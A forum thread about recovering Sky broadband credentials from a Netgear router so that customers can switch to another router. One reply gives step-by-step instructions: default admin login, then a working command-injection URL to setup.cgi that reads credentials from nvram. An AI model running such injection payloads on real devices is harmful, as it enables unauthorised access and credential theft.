Hi guys.

i work as an IT Specialist and was called out to install a router at a home which had a netgear router from sky.

after some reading i came across asinineMonkeys url injection method in order to obtain this.

well i thought i would code the URL's and process in to an application for you guys to have, share and use in the future if needed.

ive given credits to AsinineMonkey on the about page of the application, although if you think i should have mentioned someone else please let me know and il update it accordingly.

let me know what you think

Regards

Brad G

Could you expand a bit more on what this does. I don't really understand what it is for.

when you sign up with sky for broadband they send you a router which has your username and password encoded in to it. if you phone sky asking for your username and password they will not give it to you as they only support the netgear router you supply, and want to prevent you from setting up a different router to connect to the internet with. this is all very well... unless you do not like the netgear router. personally i have encountered countless problems with pop3 and smtp settings through this router, and my clioents now want to get rid of it, and use a linksys wireless router.

after some research, i found out that the username and password can be extracted from the files on the router, and to save you the time and headache, i made a program to do it for you.

designed this application on my lunch break today,

hopefully it will be of use to you guys.

I've done this before it works a treat, but I just did it for experimental purposes as I prefer the wireless Netgear one over the BT Voyager 200. The username is basically [email protected] and the password is a random hex number.

using a very simple technique:-

1. log into the Netgear router by typing this into your browser address bar: 192.168.0.1

2. Enter the username 'admin' and password 'sky'.

3. Enter the following url into your browser (without the spaces I've inserted to stop a 'click here' hyperlink forming) http:// 192.168.0.1setup.cgi?todo=ping_test&c4_IPAddr=%26/bin/grep+ppoa_+/tmp/nvram+%3E+/www/netgear.cfg


4. Press enter, and then type: http:// 192.168.0.1/netgear.cfg

5. Press enter and save the file to your desktop. Open the file in notpead and you will see your Sky Username and Password listed.
